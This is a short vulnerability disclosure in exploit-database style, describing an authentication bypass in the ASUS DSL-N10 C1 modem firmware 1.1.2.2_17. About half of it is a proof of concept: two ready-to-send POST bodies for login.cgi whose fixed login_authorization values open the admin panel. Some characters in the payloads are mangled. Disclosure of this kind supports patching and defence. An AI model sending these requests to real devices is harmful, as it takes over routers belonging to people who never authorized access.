# Title: ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass# Author: AmnBAN team# Date: 2018-08-06# Vendor Homepage: https://www.asus.com/Networking/DSLN10_C1_with_5dBi_antenna/# Sofrware version: 1.1.2.2_17# CVE: N/A# 1. Description:# In ASUS-DSL N10 C1 modem Firmware Version 1.1.2.2_17 there is login_authorization # parameter in post data, that use for authorization access to admin panel, # the data of this parameter is not fully random and you can use old data # or data of another device to access admin panel.# 2. Proof of Concept:# Browse http://<Your Modem IP>/login.cgi# Send this post data:
group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=YWRtaW46MQ%3D%2D
# Or this post data:
group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=FWRtaW46MQ%3D5D